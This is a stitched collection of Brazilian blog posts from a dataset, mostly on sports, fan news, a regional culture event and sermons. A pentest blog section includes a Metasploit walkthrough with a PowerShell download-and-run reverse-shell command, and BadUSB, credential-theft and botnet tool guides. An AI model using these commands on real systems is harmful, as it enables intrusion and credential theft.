tallesl/blogsetbr huggingface dataset:
Estatísticas NBB-19/01/2012
Autor: Diogo Barreto | Publicado: 2012-10-05T12:28:00-03:00

Classificação1- Flamengo 26 (12-2) 3V2- Itabom/Bauru 25 (11-3) V
2- Pinheiros/Sky 25 (11-3) 3V

2- Unitri/Universo 25 (11-3) D5- São José/Unimed/Vinac 24 (10-4) 2V6- Paulistano/Unimed 23 (9-5) 2D7- Uniceub/BRB/Brasília 21 (8-5) 3V8- Winner/Limeira 20 (6-8) 2V

9- Cia do Terno/Romaço/Joinville 19 (5-9) 3D
9- Interfoce/Minas 19 (5-9) D
9- Liga Sorocabana 19 (5-9) 4D

9- Vivo/Franca 19 (5-9) 2V13- Tijuca 18 (4-10) 3D

14- Araraquara 15 (1-13) 2D

15- Vila Velha/Garoto/BMG 14 (1-12) 11DTriplo-DuploLarry (Itabom/Bauru) 1Duplo-Duplo

Jeff Agba (Itabom/Bauru) 8Kammerichs (Flamengo) 5

Murilo (São José/Unimed/Vinac) 5

Fúlvio (São José/Unimed/Vinac) 4

Drudi (Vivo/Franca) 4
Deivisson (Araraquara) 3Larry (Itabom/Bauru) 3

Shilton (Cia do Terno/Romaço/Joinville) 2Caio Torres (Flamengo) 2
Felipe (Paulistano/Unimed) 2
Olivinha (Pinheiros/Sky) 2Dedé (São José/Unimed/Vinac) 2Cipriano (Uniceub/BRB/Brasília) 2Guilherme (Uniceub/BRB/Brasília) 2Daniel Alemão (Winner/Limeira) 2
Daniel Filé (Araraquara) 1

Edu (Araraquara) 1Leandrinho (Flamengo) 1Marcelinho (Flamengo) 1Guilherme (Interfoce/Minas) 1Jordan (Interfoce/Minas) 1Douglas Nunes (Itabom/Bauru) 1Mineiro (Liga Sorocabana) 1Alvaro (São José/Unimed/Vinac) 1Chico (São José/Unimed/Vinac) 1Laws (São José/Unimed/Vinac) 1Hubner (Tijuca) 1Cipolini (Unitri/Universo) 1
Felipe (Unitri/Universo) 1
Robert Day (Unitri/Universo) 1
chat mudou de dia e horário!
Autor: looh | Publicado: 2011-11-07T09:58:00-02:00

oieeeeeeeeeee vim aqui avisar que teremos novamente um chat \o/
mais o dia e o horário irá mudar =( por causa de uns probleminhas
assim que eu tiver um dia disponivel eu avisosorrybjs looh =*
tumblr....
Autor: looh | Publicado: 2012-03-05T15:16:00-03:00

oie gente,vim aqui falar da nova MEGA MODA,em que vem rolando......
a propria atrevidinha ja falou.
então meu tumblr (m-v-b)
quem quiser que eu siga de volta avisa na ask!ou tambem se quiser falar comigo
bjs bjs
ganhadores do concurso da barbie ↓
Autor: looh | Publicado: 2011-12-12T09:49:00-02:00

Quem ganhou o kit Barbie + @avonbr foi: @CW7NossoOrgulho,@soplouisa e @souhv.
                                                  eu sou a @cw7nossoorgulho ganhei \o/
breve a foto!
Ajude a atrevidinha!
Autor: looh | Publicado: 2012-09-25T13:16:00-03:00

Ola meninas,hoje estou aqui pra pedir DESESPERADAMENTE a ajuda de voces.
Vamos ajudar a nossa melhor revista (\õ/) a chegar nos 30 mil seguidores no twitter?? É só indicar bastante.
E olhem que mega perfeito: Quando chegar nos 30 mil seguidores no twitter vão sortear um MEGA kit Atrevidinha com Guia de férias e muito mais!!
A nossa companheira de todos os tempos merece não?? :D
Revista do mes:
parabeeeeens pra voce ♪
Autor: looh | Publicado: 2012-05-05T09:34:00-03:00

Sabem quem esta assoprando as velinhas nesse mês de MAIO?
Se voce disse: atrevidinha,esta CERTISSÍMA.
A nossa revista PREDILETA esta completando 8 anos.
Nesses 8 anos (gente nao me culpem se a idade estiver errada =P) tivemos muitas coisas boas nao foi?Alem de mudanças tambem.
Exemplo: nossos artistas preferidos na capa,aquele mega #Bapho dos nossos artistas,MEGAS DICAS (me ajudarão muito),os "kkk" (uma das partes que amo),e os concursos?Ja ganhei 2 =P
E neste tempo todo,como podemos agradece-los?Nossa BFF de toooooooodos os tempos,inseparável....
O pior,que quem ganha o presente somos NÓS,isso mesmo,a capa dos mês é da banda REBELDE (o chay é meu ok?)
E TEM UM MEGA-POSTER DO ELENCO LINDJOOO (esse mes nao vou poder comprar #Chora)
Mas,só queria parabeniza-los e agradecer por todo este tempo,estar junto comigo,e com toda a galerinha.

PARABENS ATREVIDINHA...CONTINUEM SEMPRE ASSIM SEUS LINDOOS

bjs looh =*)
tamo vivo \o/
Autor: looh | Publicado: 2011-11-17T08:49:00-02:00

oiee povo lindoo!
muita gente mandou e-mail perguntando por que estamos desativados!
R:muita correria,provas chegando,etc!!!
mais calma!!!!!mes que vem(dezembro) vamos estar mais ativos,por um simples motivo:AS FÉRIAS \O/
quem ta ansiosa aqui??\o/
haha eu tambem estou muitooooo anciosa!
uma novidade:será aberta mais uma inscrição para ser postadora do blog atrevidinha e vc!!!fiquem ligadinhos no blog!(acho que semana que vem)!!
espero todos voces!kisses s2s2s2
povo lindo,ajuda??
Autor: looh | Publicado: 2011-11-12T12:34:00-02:00

oiee,eu vim aqui para pedir uma MEGA ajuda,que assim que vcs precisarem,eu ajudo tambem!
http://letras.terra.com.br/promocoes/8anos/20944/
clica no link acima?!
não se preocupem,não é a mulher do exorcista ou algo do tipo rsrs!!!!é pra mim ajudar a ganhar um mega IPOD

bjs looh =*
sempre que precisarem,me chamem
mega kit da barbie!
Autor: looh | Publicado: 2011-12-02T14:41:00-02:00

geeeente a atrevidinha esta sorteando um meeeeeeeeeeeeeeeeeeeega kit da barbiee! mt mt lindo olhem só:

de RT aqui http://twitter.com/#!/rev_atrevidinha/status/142641938800193539 e boa sorte =]
meu cd do rebeldeS br chegou\o/
Autor: looh | Publicado: 2011-11-12T08:55:00-02:00

como voces devem saber,(eu falei no twitter hehe)eu ganhei um cd do rebeldeS da atrevidinha,num sorteio que eles fizeram!
ja escutei umas 500 vezes,muitoo boom!

aqui as fotos:
O Cordel também faz parte da programação do I Encontro de História e Cultura de Pernambuco
Autor: Encontro de História e Cultura de Pernambuco | Publicado: 2011-02-26T02:38:00-08:00

Literatura de cordel é um tipo de poema popular, originalmente oral, e depois impressa em folhetos rústicos ou outra qualidade de papel, expostos para venda pendurados em cordas ou cordéis, o que deu origem ao nome originado em Portugal, que tinha a tradição de pendurar folhetos em barbantes. No Nordeste do Brasil, o nome foi herdado (embora o povo chame esta manifestação de folheto), mas a tradição do barbante não perpetuou. Ou seja, o folheto brasileiro poderia ou não estar exposto em barbantes. São escritos em forma rimada e alguns poemas são ilustrados com xilogravuras, o mesmo estilo de gravura usado nas capas. As estrofes mais comuns são as de dez, oito ou seis versos. Os autores, ou cordelistas, recitam esses versos de forma melodiosa e cadenciada, acompanhados de viola, como também fazem leituras ou declamações muito empolgadas e animadas para conquistar os possíveis compradores.
As inscrições para o I Encontro de História e Cultura de Pernambuco abrem nesta segunda-feira (28)
Leão do Norte - Lenine
Autor: Encontro de História e Cultura de Pernambuco | Publicado: 2011-02-20T07:36:00-08:00

Composição: Lenine e Paulo César Pinheiro
Sou o coração do folclore nordestino Eu sou Mateus e Bastião do Boi Bumbá Sou o boneco do Mestre Vitalino Dançando uma ciranda em Itamaracá Eu sou um verso de Carlos Pena Filho Num frevo de Capiba Ao som da orquestra armorial Sou Capibaribe Num livro de João Cabral Sou mamulengo de São Bento do Una Vindo no baque solto de Maracatu Eu sou um auto de Ariano Suassuna No meio da Feira de Caruaru Sou Frei Caneca do Pastoril do Faceta Levando a flor da lira Pra Nova Jerusalém Sou Luis Gonzaga E eu sou mangue tambémEu sou mameluco, sou de Casa Forte Sou de Pernambuco, sou o Leão do NorteSou Macambira de Joaquim Cardoso Banda de Pife no meio do Canavial Na noite dos tambores silenciosos Sou a calunga revelando o Carnaval Sou a folia que desce lá de Olinda O homem da meia-noite puxando esse cordão Sou jangadeiro na festa de Jaboatão Eu sou mameluco..
Lenine, pernambucano do Recife, é cantor, compositor e instrumentista. Na música acima, Lenine traz algumas manifestações da cultura de Pernambuco, dentre elas o próprio Mestre Vitalino, que já foi abordado aqui no blog, como também, o frevo de Capiba, compositor de frevo mais conhecido do estado, criador da famosa  É de Amargar.Vale a pena parar pra escutá-la e aproveitar para conhecer um pouco mais de nossa cultura, fazendo uma análise dos elementos apresentados, sem abrir mão de uma boa música.

E não esqueçam, no próximo dia 28 começam as incrições do I Encontro de História e Cultura de Pernambuco!

Aldineia.
Autor: Encontro de História e Cultura de Pernambuco | Publicado: 2011-04-03T09:31:00-07:00

Começa nesta terça-feira,dia 05 de abril,o I Encontro de História e Cultura de Pernambuco.Um evento idealizado e organizado pelos graduandos do curso de licenciatura em História da FAFICA.
Será uma semana de debates acadêmicos,apresentações culturais,oficinas,onde a História e Cultura de Pernambuco terá destaque principal.
Na abertua,dia 05/04,haverá uma palestra com o Mestre em História Josué Euzébio,professor da Faculdade de Filosofia,Ciências e Letras de Caruaru.É com imensa alegria que convidamos a todos a participarem desse evento que será de grande sucesso.Participe!

By Valéria Moura
INSCRIÇÕES PRORROGADAS
Autor: Encontro de História e Cultura de Pernambuco | Publicado: 2011-03-12T02:59:00-08:00

As inscrições para quem vai apresentar trabalho no I Encontro de História e Cultura de Pernambuco foram prorrogadas para o dia 18 de março, não fique fora e faça parte desta história no site www.ehcp.fafica.com . Todas as insformações estão contidas no site citado. E para quem vai participar do I Encontro como ouvinte as inscrições estão abertas até o dia 05 de abril no site www.ehcp.fafica.com
Helison Ferreira (coordenador geral)
A Semana Santa também faz parte da História e Cultura de Pernambuco!
Autor: Encontro de História e Cultura de Pernambuco | Publicado: 2011-03-19T16:36:00-07:00

A Semana Santa no interior de Pernambuco é um leque de opções para o turismo religioso nesse período,fazendo assim,parte da História e Cultura de Pernambuco.Em cada lugar,a paixão,morte e ressurreição de Jesus Cristo é celebrada de maneira peculiar.
Entre os locais mais conhecidos no Brasil,destaca-se a cidade-teatro de Nova Jerusalém,a 49 Km de Caruaru,em Pernambuco.Ali,num cenário grandioso,todos os anos,desde 1968,é encenado o espetáculo da Paixão de Cristo,emocionando a todos que ali o assistem.

By Valéria Moura
Aguardem! ! !
Autor: Encontro de História e Cultura de Pernambuco | Publicado: 2011-09-09T07:58:00-07:00

É com muita alegria que anunciamos, que já estamos organizando o II Encontro de História e Cultura de Pernambuco com muita novidade e estilo para que você possa desfrutar do melhor que a FAFICA pode dispôr. Fiquem atentos...
I Encontro de História e Cultura de Pernambuco
Autor: Encontro de História e Cultura de Pernambuco | Publicado: 2011-03-17T14:36:00-07:00

Se você não fez sua inscrição no I Encontro de História e Cultura de Pernambuco não perca mais tempo, faça logo a sua pelo site http://www.ehcp.fafica.com/ e se você vai apresentar trabalhos: projetos, resumos, etc. as inscrição vão ser até amanhã (18) no site http://www.ehcp.fafica.com/
O Carnaval no interior de Pernambuco
Autor: Encontro de História e Cultura de Pernambuco | Publicado: 2011-03-07T17:12:00-08:00

O Carnaval pernambucano tem como característica principal a democratização da brincadeira.Os foliões participam intensamente das manifestações,sem a necessidade de uma distinção por abadás.
No interior,algumas cidades têm seus carnavais típicos,como Nazaré da Mata,com o Maracatu de Baque Solto,Bezerros com os Papangús,Pesqueira com o carnaval dos Caiporas e a folia dos Caretas em Triunfo,no Sertão pernambucano,onde o ritmo principal é o centenário frevo.

By Valéria Moura
08 de março: Dia Internacional da Mulher
Autor: Encontro de História e Cultura de Pernambuco | Publicado: 2011-03-08T08:05:00-08:00

Data proclamada pela ONU em 1975 em homenagem às 130 operárias mortas em um incêndio proposital de uma fábrica de Nova York em 1857,o Dia Internacional da Mulher visa discutir o papel da mulher na sociedade atual,tentando diminuir,e quem sabe um dia,terminar o preconceito e a desvalorização da mulher.
O I Encontro de História e Cultura de Pernambuco parabeniza a todas as mulheres por essa histórica data,marcada de lutas e inúmeras conquistas.

By Valéria Moura
Informações
Autor: Encontro de História e Cultura de Pernambuco | Publicado: 2011-03-22T13:24:00-07:00

Devido ao grande número de inscritos, as inscrições para apresentação de trabalhos, bem como a participação em mini-cursos citados no http://www.ehcp.fafica.com/ já foram fechados. Ficamos gratos pela participação dos estudantes/professores e ficamos muitos felizes em saber que logo, estaremos todos reunidos neste evento do conhecimento. A todos que se inscreveram muito obrigado. Na abertura todos vocês terão novidades e na abertura também haverá o lancamento do II Encontro de História e Cultura de Pernambuco 2012, com a temática surpresa a ser divulgada no próximo dia 05 às 19:30 no auditório.
Helison C. S. Ferreira (coordenador geral)
Auto_EAP e EAPMD5PASS: boas ferramentas para burlar NACs
Autor: Luiz Vieira .'. | Publicado: 2016-11-09T12:53:00-02:00

Quem já fez ou faz o curso de Pentest Avançado comigo, sabe que abordamos a fase de bypass de controles de acesso à redes, inclusive aquelas que utilizam NAC. 

Muitas soluções para bloqueio de acesso à redes e autenticação, utilizam o protocolo EAP (Extensible Authentication Protocol) para redes wireless, através de diversas implementações, como WPA, WPA2 e IEEE 802.11. Para entender melhor esse protocolo, indico a leitura da RFC 5247, que é a atualização das obsoletas RFCs 2284 e 3748.

O grande problema aqui, é que algumas soluções (se não a maioria), ainda utiliza a definição do EAP como designado na RFC 3748, que é o EAP MD5-challenge, cujo algoritmo é fraco e a metodologia de autenticação é falha, permitindo que através da captura de pacotes de rede, com o MD5-challenge, o atacante consiga, utilizando uma boa wordlist, prever a senha de autenticação ao gerar o mesmo hash a partir do challenge enviado + palavra de uma wordlist que deve ser igual ao hash capturado no pacote de rede.

O que é mais interessante, é que isso pode ser feito até mesmo sem estar autenticado, pois o dispositivo obtém um acesso limitado na rede para poder se comunicar com o servidor RADIUS para troca de pacotes na tentativa de obtenção da autenticação. Nesse período, é possível capturar pacotes com os hashs necessários para descoberta da senha de autenticação.

É importante, no entanto, atentar para diferentes cenários, pois em redes wireless isso é muito mais tranquilo, já que os pacotes trafegam em broadcast, mas em redes cabeadas você precisa de duas placas de rede em modo bridge para se conectar ao switch com uma delas e na outra, um dispositivo que seja autenticado na rede mas que se utilize de criptografia fraca ou nenhuma, como impressoras e VoIP phones.

Para facilitar nossas vidas, existem algumas ferramentas que podem nos auxiliar nesse processo. Duas delas merecem destaque em minha opinião, EAPMD5pass e Auto_EAP.

O EAPMD5pass é um programa (precisa ser compilado) que permite, após a captura de pacotes utilizando tcpdump ou wireshark, por exemplo, tentar quebrar a senha dos pacotes enviados com o hash md5 do challenge + senha. Esse programa foi criado por um profissional conhecido e respeitado da área de segurança, chamado Johnny Long, e pode ser baixado a partir de seu site.

Já a segunda ferramenta, baseada em Python, Auto_EAP, se utiliza da biblioteca wpaspy para realizar ataques contra a autenticação de redes wireless, através de um daemon chamado wpa_daemon, para evitar o lock out de contas ativas. Para usar essa ferramenta, execute primeiro o script RunMeFirst.py. E o único problema que vejo nessa ferramenta, ainda é sua falta de suporte à wordlists para quebra de senha e o fato de não ser multi thread. Para quem sabe um pouco de Python, nada muito difícil de resolver, ou então esperar uma nova versão.

É isso pessoal, divirtam-se!
Novo ataque contra Windows: AtomBombing
Autor: Luiz Vieira .'. | Publicado: 2016-10-28T15:18:00-02:00

Foi descoberta há alguns dias uma falha de implementação no Windows que permite um ataque remoto que possibilita realizar man-in-the-middle contra browsers, tirar screenshot da tela do alvo, e acessar senhas armazenadas no browser.

É interessante dar uma lida na explicação da Microsoft em seu blog sobre o que são e como funcionam as Atom tables, que possibilitam essa exploração: 
https://msdn.microsoft.com/en-us/library/windows/desktop/ms649053(v=vs.85).aspx

AtomBombing afeta todas as versões do Windows. E foi testada em particular contra o Windows 10, sendo totalmente eficaz.

Entretanto, uma grande questão que surgiu, foi: esse problema não pode ser corrigido por um patch, já que não depende de uma brecha ou falha no código, e sim sobre como esse sistema operacional foi desenhado e implementado.

O mecanismo do Windows que o AtomBombing explora é chamado Atom tables. Essas tabelas são fornecidas pelo sistema operacional para permitir que aplicativos armazenem e acessem dados. Estas Atom tables também podem ser usadas para compartilhar dados entre aplicações.

O que foi descoberto é que um código malicioso pode escrever em uma Atom table e forçar um programa legítimo a recuperar o código malicioso da mesma. E assim, o programa legítimo, agora contendo o código malicioso, pode ser manipulado para executar esse código.

Esse outro link explica bem como isso ocorre e como pode ser feito: 
https://breakingmalware.com/injection-techniques/atombombing-brand-new-code-injection-for-windows/

Obviamente que tudo isso depende de realiza um code injection, mas uma simples engenharia social já possibilitaria realiza isso, pois esse código malicioso só conseguiria escrever nas Atom tables localmente. Para uma PoC, segue o link para um código que consegue fazer isso e injetar um shellcode a ser executado por um aplicativo válido e reconhecido: 
https://github.com/BreakingMalwareResearch/atom-bombing

Divirtam-se!
Módulo Web Delivery do Metasploit
Autor: Luiz Vieira .'. | Publicado: 2016-05-16T12:25:00-03:00

Muitas vezes estamos em situações em que temos acesso à uma máquina que precisamos explorar, mas sem as ferramentas adequadas ou necessárias naquele momento. Um dos módulos do Metasploit que pode nos ajudar em cenários assim é o web delivery, que permite que remotamente nos conectemos à um IP e tenhamos de retorno um shell, seja command.com ou meterpreter no caso do Metasploit.

Entretanto, é necessário que deixemos nossa máquina com o Metasploit (possivelmente na nuvem) já configurada aguardando a conexão.

Nesse exemplo, vamos ver como compromenter uma máquina Windows, entregando um shell meterpreter via PowerShell (poderia ser via Python ou PHP também).

Em primeiro lugar precisamos entrar no msfconsole e digitar os seguintes comandos:

use exploit/multi/script/web_delivery
set lhost [Kali IP Address]
set lport 4444

Quando digitamos o comando "show targets", vemos as opções de entrega do shell, que em nosso caso será PowerShell:

Então, para selecionar o tipo de entrega e o shell que será entregue, digitamos os dois seguintes comandos:

set target 2
set payload windows/meterpreter/reverse_tcp

E então executamos o comando "exploit", para colocar nossa máquina numa condição de "listening", que é quando fica aguardando alguém conectar-se para entregar o payload:

E então, na máquina alvo, onde temos acesso físico, digitamos o comando abaixo para forçar a conexão e a entrega do payload:

powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.39:8080/eAtfMo'))

E então, na máquina onde temos o Metasploit, veremos uma tentativa de conexão, e uma sessão sendo criada:

E então, ou você já terá um shell via meterpreter com o prompt "meterpreter>" aberto, ou simplesmente precisará digitar o comando "sessions -i [numero-da-sessão]" para conectar-se e começar a brincadeira.

A partir daí, terá todo o poder do meterpreter disponível em suas mãos: keylogger, screenshot, ativar webcam para vídeos e fotos, network sniffing, escalada de privilégios, criar backdoor persistente e etc. Quando quiser finalizar a sessão, basta digitar "exit" e cair de novo no msfconsole.

Have some fun!
Venda de cursos já realizados
Autor: Luiz Vieira .'. | Publicado: 2016-05-20T20:48:00-03:00

Pessoal, sei que muita gente as vezes acaba perdendo uma turma ou outra dos cursos que realizo, seja por falta de tempo, ou dinheiro, naquele momento em que estou formando as turmas. 

Por conta disso é possível adquirir, após a realização das turmas, o material de cada uma delas. No material sempre estão inclusos os slides, os vídeos e os arquivos utilizados em cada curso, e em alguns inclusive disponibilizo a apostila e máquinas virtuais para os laboratórios (esses dois últimos, nem todos os cursos tem, mas todos tem os vídeos e slides).

Quando o aluno adquire o material do curso, é possível ao final de seus estudos realizar uma avaliação prática para receber o certificado de conclusão do mesmo, caso o aluno tenha interesse.

Os cursos atualmente disponíveis para aquisição são os seguintes, com seus respectivos valores a serem pagos via Paypal em até 3x:

- Hardening de Servidores Linux = 450,00

- Pentest em Redes = 710,00

- Engenharia Social = 400,00

- Pentest em Aplicações WEB = 640,00

- Perícia Forense Digital = 710,00

- Fundamentos de Programação com Assembly e C = 450,00

- Engenharia Reversa e Análise de Malwares = 800,00

- Pentest Avançado e Introdução à Exploração de Softwares = 800,00

- Programação para Pentesters = 800,00

Para pagamentos à vista, é possível um desconto de 5%. E caso adquira mais de um curso, podemos negociar outros descontos.

Quem tiver interesse, basta enviar um e-mail para luizwt at gmail.com.
ZIB - Botnet via TOR
Autor: Luiz Vieira .'. | Publicado: 2016-10-27T16:10:00-02:00

O ZIB é conhecido como The Open TOR Botnet, sendo um projeto baseado em Python, que até alguns meses atrás ainda era completamente indetectável pelos antivírus, pois se utiliza de um padrão de encriptação e ofuscamento utilizado pelo DoD (Department of Defense) americano, que é alterado para cada novo deployment. Resumindo: para cada novo cliente gerado para a botnet, o tamanho e codificação do arquivo é diferente, nunca mantendo a mesma assinatura, por exemplo.

Outro ponto, que pode ser percebido pelo nome do projeto, é que a comunicação é feita via TOR, para encriptar e evitar o rastreamento da fonte de controle dos bots, que são gerenciados através do IRC.

Outras duas características desse bots, é que eles podem usar um sistema de autenticação para permitir que apenas usuários com credenciais possam acessá-los e comandá-los, seja toda a botnet, ou apenas uma parte da botnet; e a outra características, é o gerenciamento de pagamentos via BitCoin, através do qual o dono da botnet pode "alugar" seus hosts para outras pessoas.

É bem importante frisar, como o próprio desenvolvedor da ferramenta colocou em seu github, que essa ferramenta é para propósito de pesquisa. Portanto, indico o uso dessa ferramenta para que possam entender o funcionamento de uma botnet, e criar labs onde sejam capazes de monitorar o funcionamento e fazer a forense de hosts infectados, como exercício de resposta a incidentes.

Confesso que das versões gratuitas de botnets liberadas para pesquisa, essa foi uma das mais completas que encontrei até hoje.

Para entender as muitas características e funcionalidades, além de poder baixar os arquivos do ZIB, acessem o GitHub dos desenvolvedores através desse link.
Roubando credenciais de usuários Windows e MAC
Autor: Luiz Vieira .'. | Publicado: 2016-09-07T12:27:00-03:00

É um ataque bem interessante esse descoberto pelo @mubix, e é bem útil emsituações onde o usuário bloqueou a máquina, mas deixou seu usuário logado. O mais interessante é que foi testado e funciona contra todas as versões de Windows e MAC.

Abaixo é possível ver o vídeo do teste com sucesso:

O equipamento utilizado pode ser construído por vocês, ou pode-se usar o HAK5 LAN Turtle, vendido pela HAK5.

A lógica do ataque é razoavelmente simples e só precisa de três coisas: um dispositivo USB Ethernet + DHCP + Responder, e com isso conseguimos capturar as credenciais de um computador que esteja com sua tela de login bloqueada, porém com um usuário logado.

Nesse link tem toda a informação necessária para entender o ataque, criar seu próprio USB Armory pronto para o ataque, ou como configurar o HAK5 LAN Turtle que já vem quase pronto para o ataque.

Divirtam-se!
BadUSB: comprometendo máquinas Windows através da porta USB
Autor: Luiz Vieira .'. | Publicado: 2016-12-09T16:17:00-02:00

Algum tempo atrás, uma nova ameaça foi descoberta, chamada de BadUSB, que veio na forma de hardware... especificamente na forma de USB.

Para aqueles não familiarizados com estes dispositivos o nome diz tudo: BadUSB, porque estes USBs não são utilizados como armazenamento, mas se passam por outro dispositivo, como: teclados, mouses... que executarão um código pré-programados pelo atacante. E este falsa USB quando conectado a um computador pode executar comandos no terminal, instalar um backdoor para acesso posterior desse computador, roubar credenciais e muitos mais.

Tudo isso é porque os USBs falsos quando conectados a uma máquina executam outro firmware que não é a memória USB normal, comportando-se como qualquer outro tipo de dispositivo e é capaz de executar qualquer tipo ação na máquina à qual ele está conectado sem que o usuário em questão perceba algo.

Existem vários dispositivos no mercado com estas características, mas o mais adequado para o que estou falando é o RubberDucky, um dispositivo criado pela Hak5.

O RubberDucky funciona como um teclado e executa o que temos armazenados no seu micro SD só de conectarmos ele a outro dispositivo.

O preço deste USB é de US $ 44,99 mais custos de transporte, que são mais de 39.50 $ (para o Rio de Janeiro). Um dispositivo um pouco caro...

Então, o que você diria se pudesse obter o mesmo por cerca de metade do preço do RubberDucky? Sim, podemos criar nosso próprio Rubber Ducky pela metade do preço, tudo graças ao Teensy que funciona com Arduino .

Para montar precisamo: uma placa Teensy, ter um Arduino instalado e um cabo USB.

Muitos dizem que tudo é mais fácil comRubberDucky porque a sintaxe para programar o USB é mais simples, mais fácil e mais rápido do que a programação com Arduino. Isso é verdade, mas hoje há uma ferramenta muito boa para isso, Brutal, uma ferramenta desenvolvida pelo grupo ScreetSec (criadores de Thefatrat ou LALIN) e foi lançado há pouquíssimo tempo. Esta ferramenta possui vários módulos que nos fornecem código escritos para Arduino com várias funções, que nos fornecem um monte de coisas ao usar nosso Teensy como um BadUSB.

A ferramenta tem os seguintes módulos:

Gerar um payload que execute uma conexão reversa TCP através de PowerShell
Baixa e executa um backdoor
Obtém as credenciais graças ao Mimikatz
Gera payloads para dar uma zoada no alvo
Gera payloads para administração do Windows
Executa diversos outros ataques contra o Windows

Instalação e execução da ferramenta:

Instalar os pacotes de PaensyLib na biblioteca do Arduíno.
git clone https://github.com/Screetsec/Brutal.git
cd Brutal
chmod +x Brutal.sh
./Brutal.sh

PoC do Brutal:
Sequência didática
Autor: Nilzevan de Souza | Publicado: 2011-10-29T22:45:00-02:00

Sequência Didática
CURSO MÍDIAS DIGITAIS
Núcleo de Tecnologia Educacional - BA
Sequência Didática

Dados de Identificação
Escola: CÂNDIDA ROSA VILAS BOAS
Nível de ensino: FUNDAMENTAL II                         Série/ Ano: 4º
Disciplina: GEOGRAFIA                                              
Professor: NILZEVAN DE SOUZA

   Tema:  POLUIÇÃO AMBIENTAL
   Conteúdo:  PROBLEMAS AMBIENTAIS   PROVOCADOS PELO HOMEM.
   Atividades: PESQUISAR NO LABORATÓRIO DE   INFORMÁTICA SOBRE OS AGENTES POLUIDORES DO AMBIENTE CAUSADOS PELA AÇÃO DO   HOMEM.PRODUZIR EM CARTAZES,   RETRATANDO SOBRE OS PROBLEMAS AMBIENTAIS, APRESENTANDO SOBRA AS PRINCIPAIS   CAUSAS E CONSEQUENCIAS DESSES PROBLEMAS.  
   Objetivo: CONSCIENTIZAR SOBRE AS   CONSEQUÊNCIAS DAS AÇÕES INCONSEQUENTES E IRRESPONSÁVEIS DOS SERES HUMANOS.

   Período:  60 MINUTOS
   Nº de aula:  2
   Metodologia  USO DOS COMUTADORES   PELOS ALUNOS. USO DE CARTAZES PARA PRODUZIR OS TRABALHOS. SOCIALIZAÇÃO DAS ATIVIDADES.

   Avaliação ATRAVÉS DA PARTICIPAÇÃO DO ALUNO.DISCUSSÃO ORAL.PRODUÇÃO DOS CARTAZES.

   Referencias:                            http://www.suapesquisa.com/o_que_e/poluicao_ambiental.htmhttp://www.klickeducacao.com.br/materia/16/display/0,5912,POR-16-39-1112-,00.html
Certeza e felicidade
Autor: ICEN | Publicado: 2012-04-25T14:44:00-03:00

A certeza nasce do primeiro contato com o mundo. A experiência nos ensina que se estamos vendo, falando e pensando, conforme o filósofo Descartes, existimos, ou melhor, estamos sendo.
Diante desse impasse, pergunto eu, será que existir é a mesma coisa de viver? Será que podemos garantir que
de fato, estamos vivendo o que se deve viver?
Quero pensar em três momentos da nossa vida e sua influência para nos presentear com a felicidade:
a) no momento em que pensamos num porvir, será que existe vida após a morte?
b) no momento da dor que chega sem avisar, será que existe refrigério para as nossas angústias?
c) no momento da felicidade que participamos, será que existe sentido para a nossa alegria?
pois eis aqui algumas respostas segunda a Bíblia:
1)nem todos nós sabemos que o dia inteiro não termina com o por do sol, mas quando fechamos os nossos olhos; "não seja a ansiedade o que te aprisiona, mas lance diante Dele pois Ele tem cuidado de você"
2)nem todos nós compreendemos o que se passa na nossa mente, mas tentamos elucidar os mistérios do universo e da vida dos outros como se fôssemos de outro mundo. Nós choramos e sofremos muito quando escondemos o que se passa em nossos corações, do que quando confessamos e pedimos ajuda. "levai as cargas uns dos outros'
3) nem todos nós reconhecemos a necessidade de nos deleitarmos na doce presença de Jesus, mas quando entramos na presença do Senhor chegamos como tímidos e calados, e saímos como intrépidos e valentes, pois o Poder de Deus nos sustenta. "tudo posso, naquele que me fortalece"
Estamos confiante que Deus nos dará felicidade? creiamos na sua força que opera em nós tanto o querer quanto o realizar.

Que Deus nos abençoe!
Pastor Ailton Menezes de Paula
O Sono Da Inércia x O Ritmo Da Insensatez
Autor: ICEN | Publicado: 2012-05-09T13:07:00-03:00

           Houve um tempo, muito tempo atrás, em que ser rápido no gatilho, estilo Billy The Kid, era a única forma de escapar com vida no velho faroeste. Tempo esse que ultrapassou o limite das épocas e agora chega com todo resplendor na modernidade. Empresas lentas desaparecem suplantadas pelas mais rápidas que se apropriam do conhecimento nos grandes escalões do governo, e já sabem como o mercado vai reagir, como a economia vai se comportar, esse tipo de coisa.

          Em outro momento, acontece uma luta desenfreada por sucesso, ritmo alucinante das pessoas que fazem coisas demais e se tornam muitas coisas ao mesmo tempo. Há aqueles que colocam seus filhos no curso de inglês, natação, aula de violão, curso de judô, e quando o menino chega em casa, além de estudar para as aulas normais do ensino fundamental ou médio, ainda recebem de presente um PlayStation para eles não terem tempo livre.

           O processo inverso também chama à atenção. Pessoas pacatas, passíveis, passam pelo mundo como peso morto e não contribuem com nada, não fazem nada e não se relacionam com ninguém, são os chamados: "zumbis", mortos vivos que emperram o progresso, ou não estão nem aí para o progresso.

             Nesta luta desigual entre fazer algo rápido e não fazer quase nada, está uma passagem bíblica que nos orienta: "Não andeis ansiosos por coisa alguma, antes sejam conhecidas diante de Deus as vossas petições". Esta passagem sugere a nós quatro grandes desafios:

a) entrega o teu caminho ao Senhor, confia nele, e o mais Ele fará;

b) se o Senhor não edificar a casa, em vão trabalham os que a edificam;

c) não se turbe o vosso coração, credes em Deus, credes também em Mim; e,

d) lançando sobre Ele toda a vossa ansiedade, porque Ele tem cuidado de vós.

           Não é correndo muito, nem andando lento que se chega a algum lugar, mas confiando plenamente em Deus, que nos faz andar em lugares altos, nos faz assentar com os príncipes da terra,e que nos conduz em triunfo.

Que Deus nos abençoe!
Pastor Ailton Menezes de Paula
Na dúvida, Busque A Certeza!
Autor: ICEN | Publicado: 2012-05-09T09:59:00-03:00

         Nunca se ouviu falar de alguém que não tenha ficado, pelo menos uma vez, em dúvida sobre alguma coisa. Isso é um fato que marca o nosso ser. Se todos tem dúvidas a respeito do que comer, do que fazer, do que comprar e do que ser, porque não levar essas dúvidas para o único que sabe todas as coisas de forma completa, real, perfeita e segura: Deus!

         Fico imaginando como podemos caminhar na incerteza todas as vezes que nos encontramos em dois caminhos, dois desafios, dois problemas e duas circunstâncias que se apresentam diante de nós. Responder com segurança, buscar firmeza de propósito, desejar acertar e muitas outras características de nossos dias estão intimamente relacionadas em como buscar realizar as coisas, e de onde tirar a plena verdade sobre os fatos que opinamos ou emitimos juízo de valor.

